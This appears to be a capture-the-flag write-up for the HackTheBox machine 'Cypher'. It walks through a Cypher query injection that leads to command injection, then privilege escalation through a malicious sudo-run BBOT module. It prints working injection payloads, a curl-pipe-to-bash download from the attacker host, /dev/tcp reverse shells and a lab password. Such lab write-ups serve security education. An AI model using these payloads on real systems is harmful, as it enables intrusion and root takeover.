Cypher – HackTheBox Link to heading
- OS: Windows
- Difficulty : Medium
- Platform: HackTheBox
Summary Link to heading
“Cypher” is a Medium difficulty machine from HackTheBox
platform. The target machine is running a web server about surface attack mapping. The page has a vulnerable login panel to an injection for Cypher
, a query language. After inspecting some hidden directories we find a .jar
file that leaks the code running at the backend, showing an we can perform a Command Injection
through the login injection, gaining access to the system. Once inside, we find a file with credentials for a second user. This second user can run BBOT
(a bot used to recognize vulnerabilities) with privileges. We are then able to create a malicious module for BBOT
and gain access as root
user, compromising the system.
User Link to heading
Starting with a quick Nmap
scan shows only 2 ports open: 22
SSH
and 80
HTTP
:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.217.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:07 -03
Initiating SYN Stealth Scan at 01:07
Scanning 10.129.217.223 [65535 ports]
Discovered open port 80/tcp on 10.129.217.223
Discovered open port 22/tcp on 10.129.217.223
Completed SYN Stealth Scan at 01:08, 16.32s elapsed (65535 total ports)
Nmap scan report for 10.129.217.223
Host is up, received user-set (0.16s latency).
Scanned at 2025-03-02 01:07:45 -03 for 16s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.54 seconds
Raw packets sent: 80015 (3.521MB) | Rcvd: 79731 (3.189MB)
We apply some recognition scans over these ports with -sVC
flag:
❯ sudo nmap -sVC -p22,80 10.129.217.223
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-02 01:11 -03
Nmap scan report for 10.129.217.223
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.88 seconds
From the output we can that HTTP
site redirects to : http://cypher.htb
.
We can add this domain to our /etc/hosts
file along with victim machine IP address to our /etc/hosts
file running in a terminal:
❯ echo '10.129.217.223 cypher.htb' | sudo tee -a /etc/hosts
Visiting http://cypher.htb
in a web browser shows:
The site seems to use graphs for attack surface, something really similar as Obsidian
or Bloodhound
uses to view relations between concepts.
Clicking on Try our free demo
just redirects to http://cypher.htb/login
:
But typical default credentials such as admin:admin
or root:root
does not work.
Clicking on About
at the top bar redirects to http://cypher.htb/about
shows what is the site about:
This is a site to map Attack Surfaces for organization’s digital landscape.
To check what is sent when we attempt to log in we start Burpsuite
. We go to http://cypher.htb/login
and intercept the request sent after attempting to log in as a random user with a random password. We intercept the following POST
request:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 49
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login
{"username":"testuser","password":"testpassword"}
The site sends the credentials through JSON
data, which indicates that we might be using a NoSQL
database.
Searching for Cypher injection
on Google leads to this page. There, they talk about Cypher
:
What is Cypher
?
Cypher
is short for (Open)Cypher Query Language
.- It is
Neo4j
’s graph query language that lets you retrieve data from the graph. It’s likeSQL
for Graph databases. - It was originally intended to be used with
Neo4j
, but was opened up throughtheopenCypher
project. It is now used by many other databases includingRedisGraph
,Spark
,Amazon Neptune
andSAP HANA Graph
. - Cypher Query Language Reference, Version 9
This search, the site theme and also the machine name (Cypher
) give clear hints that we should attempt some injections for Cypher
. Based on the previously mentioned webpage we can attempt to inject commands through the characters:
'
"
'})
If we attempt a simple '
character (attempting to log in as test'
and any password) we get an error message in the webpage:
Doing the same but through Burpsuite
sending the request:
POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://cypher.htb
DNT: 1
Connection: close
Referer: http://cypher.htb/login
{"username":"testuser'","password":"testpassword"}
Returns:
HTTP/1.1 400 Bad Request
Server: nginx/1.24.0 (Ubuntu)
Date: Sun, 02 Mar 2025 04:37:10 GMT
Content-Length: 3472
Connection: close
Traceback (most recent call last):
File "/app/app.py", line 142, in verify_creds
results = run_cypher(cypher)
File "/app/app.py", line 63, in run_cypher
return [r.data() for r in session.run(cypher)]
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run
self._auto_result._run(
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run
self._attach()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach
self._connection.fetch_message()
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner
func(*args, **kwargs)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message
res = self._process_message(tag, fields)
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message
response.on_failure(summary_metadata or {})
File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure
raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError}
<SNIP>
The error clearly shows it is using Neo4j
package for Python
; and an error at app.py
which indicates that this server might be running on Flask
. Since we got an error, we might be able to inject files.
Searching for hidden directories through a Brute Force Directory Listing
with Gobuster
and we get:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://cypher.htb --no-error -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cypher.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/about (Status: 200) [Size: 4986]
/api (Status: 307) [Size: 0] [--> /api/docs]
/demo (Status: 307) [Size: 0] [--> /login]
/index (Status: 200) [Size: 4562]
/index.html (Status: 200) [Size: 4562]
/login (Status: 200) [Size: 3671]
/testing (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
Progress: 4734 / 4735 (99.98%)
===============================================================
Finished
===============================================================
The directory testing
is new.
Checking it with cURL
along with html2text
we get:
❯ curl -s http://cypher.htb/testing/ | html2text
****** Index of /testing/ ******
===============================================================================
../
custom-apoc-extension-1.0-SNAPSHOT.jar 17-Feb-2025 11:49
6556
===============================================================================
We have a Java
file called custom-apoc-extension-1.0-SNAPSHOT.jar
.
We download this file with wget
:
❯ wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar -q
and check its content using jd-gui
:
❯ jd-gui &> /dev/null & disown
We open the downloaded .jar
file at jd-gui
. Eventually, we find a class called CustomFunctions.class
file with the content:
public class CustomFunctions {
@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)
@Description("Returns the HTTP status code for the given URL as a string")
public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))
url = "https://" + url;
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
System.out.println("Command: " + Arrays.toString((Object[])command));
Process process = Runtime.getRuntime().exec(command);
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
StringBuilder errorOutput = new StringBuilder();
String line;
We have a variable called custom.getUrlStatusCode
and then it is being executed by /bin/sh
. That line potentially shows a way to inject commands.
Searching how to inject commands, we find this little notes for Cypher Injections. Playing with them, one of them seems to work. First, start a temporal Python
HTTP
server on port 8000
:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
and, at http://cypher.htb/login
attempt the injection at username
field:
test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;wget http://10.10.16.5:8000/test;#") YIELD statusCode AS a RETURN a;//
and any password.
We get a GET
request from the victim IP address:
❯ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.217.223 - - [02/Mar/2025 02:01:37] code 404, message File not found
10.129.217.223 - - [02/Mar/2025 02:01:37] "GET /test HTTP/1.1" 404 -
To obtain a reverse shell we can create a simple Bash
script in our attacker machine with the content:
#!bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"
where 10.10.16.5
is our attacker IP and 443
the port we will start listening with netcat
. We save this file as rev.sh
.
Remember to assign to it execution permissions:
❯ chmod +x rev.sh
and expose this file through a temporal Python
HTTP
server on port 8000
:
❯ ls -la && python3 -m http.server 8000
total 12
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Mar 2 02:11 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Mar 2 01:07 ..
-rwxrwxr-x 1 gunzf0x gunzf0x 62 Mar 2 02:11 rev.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
In another terminal, start a listener with netcat
on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
and in the webpage pass the payload as username
(and providing any password):
test' return h.value as a UNION CALL custom.getUrlStatusCode("test.com;curl http://10.10.16.5:8000/rev.sh|bash;#") YIELD statusCode AS a RETURN a;//
We get a call to our HTTP
temporal server and, after that, a shell in our netcat
listener as neo4j
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.129.217.223] 53714
bash: cannot set terminal process group (1372): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ whoami
whoami
neo4j
Besides our user we have another user called graphasm
:
neo4j@cypher:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash
neo4j:x:110:111:neo4j,,,:/var/lib/neo4j:/bin/bash
Checking /home/graphasm
to check if flag user was there shows:
neo4j@cypher:/$ ls -la /home/graphasm/
total 36
drwxr-xr-x 4 graphasm graphasm 4096 Feb 17 12:40 .
drwxr-xr-x 3 root root 4096 Oct 8 17:58 ..
lrwxrwxrwx 1 root root 9 Oct 8 18:06 .bash_history -> /dev/null
-rw-r--r-- 1 graphasm graphasm 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 graphasm graphasm 3771 Mar 31 2024 .bashrc
-rw-r--r-- 1 graphasm graphasm 156 Feb 14 12:35 bbot_preset.yml
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .cache
-rw-r--r-- 1 graphasm graphasm 807 Mar 31 2024 .profile
drwx------ 2 graphasm graphasm 4096 Oct 8 17:58 .ssh
-rw-r----- 1 root graphasm 33 Mar 2 00:40 user.txt
There is a bbot_preset.yml
file. Checking it we have:
neo4j@cypher:/$ cat /home/graphasm/bbot_preset.yml
targets:
- ecorp.htb
output_dir: /home/graphasm/bbot_scans
config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK
We have a password.
We can check if this password is valid for graphasm
user through SSH
with NetExec
:
❯ nxc ssh 10.129.217.223 -u 'graphasm' -p 'cU4btyib.20xtCMCXkBmerhK'
SSH 10.129.217.223 22 10.129.217.223 [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8
SSH 10.129.217.223 22 10.129.217.223 [+] graphasm:cU4btyib.20xtCMCXkBmerhK Linux - Shell access!
They worked. We have valid credentials: graphasm:cU4btyib.20xtCMCXkBmerhK
.
Log in through SSH
as graphasm
user:
❯ sshpass -p 'cU4btyib.20xtCMCXkBmerhK' ssh -o stricthostkeychecking=no graphasm@10.129.217.223
Warning: Permanently added '10.129.217.223' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Mar 2 05:26:02 AM UTC 2025
System load: 0.0 Processes: 248
Usage of /: 68.6% of 8.50GB Users logged in: 0
Memory usage: 24% IPv4 address for eth0: 10.129.217.223
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sun Mar 2 05:26:03 2025 from 10.10.16.5
graphasm@cypher:~$
We can grab the user flag.
Root Link to heading
Checking privileges with sudo
shows:
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
We can run BBOT
as any user without providing password.
Searching for BBOT
we find its webpage and its Github repository:
BEE-bot
is a multipurpose scanner built to automate your Recon, Bug Bounties, and ASM!It’s a bot, as the main page said, to map the attack surface of an organization through its internet exposed resources.
It is a symbolic link to a Python
script:
graphasm@cypher:~$ file /usr/local/bin/bbot
/usr/local/bin/bbot: symbolic link to /opt/pipx/venvs/bbot/bin/bbot
graphasm@cypher:~$ file /opt/pipx/venvs/bbot/bin/bbot
/opt/pipx/venvs/bbot/bin/bbot: Python script, ASCII text executable
We can see read more documentation about it and its advanced commands. We are able to load modules. We can see a list of modules here. Searching for any of these modules (for example, one called hackertarget
) to see where they are stored with find
:
graphasm@cypher:~$ find /opt/pipx/venvs/bbot/ -name "*hackertarget*" 2>/dev/null
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/__pycache__/hackertarget.cpython-312.pyc
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/test_module_hackertarget.py
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/test/test_step_2/module_tests/__pycache__/test_module_hackertarget.cpython-312.pyc
We get a directory:
/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/
But we are not able to write in this directory:
graphasm@cypher:~$ ls -ld /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules/
drwxr-xr-x 8 root root 4096 Oct 8 18:10 /opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules
To see how to write a custom module we can check official BBOT documentation. We could then add a custom module that executes commands at system level. First, create a configuration .yml
file with the content:
module_dirs:
- /tmp/modules
And save it as /tmp/conf.yml
.
Then, create the directory that will contain the malicious module:
graphasm@cypher:~$ mkdir /tmp/modules
As an example, authors provide an example code. We can slightly modify this code to execute a system command and send us another reverse shell:
from bbot.modules.base import BaseModule
import os
class getrevshell(BaseModule):
watched_events = ["DNS_NAME"]
produced_events = ["GETREVSHELL"]
flags = ["passive", "safe"]
meta = {"description": "Revshell"}
options = {"api_key": ""}
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True
async def setup(self):
os.system("/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.16.2/443 0>&1'")
self.api_key = self.config.get("api_key")
return True
async def handle_event(self, event):
pass
Where 10.10.16.2
is our attacker IP address and 443
is the port we will start listening with netcat
. We save it as /tmp/modules/getrevshell.py
.
Finally, after starting a listener with netcat
on port 443
, just execute BBOT
importing the configuration .yml
file and the custom module:
graphasm@cypher:~$ sudo /usr/local/bin/bbot -p /tmp/conf.yml -m getrevshell
We get a shell as root
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.217.223] 50006
root@cypher:/home/graphasm# whoami
whoami
root
GG. We can read the root
flag at /root
directory.
~Happy Hacking.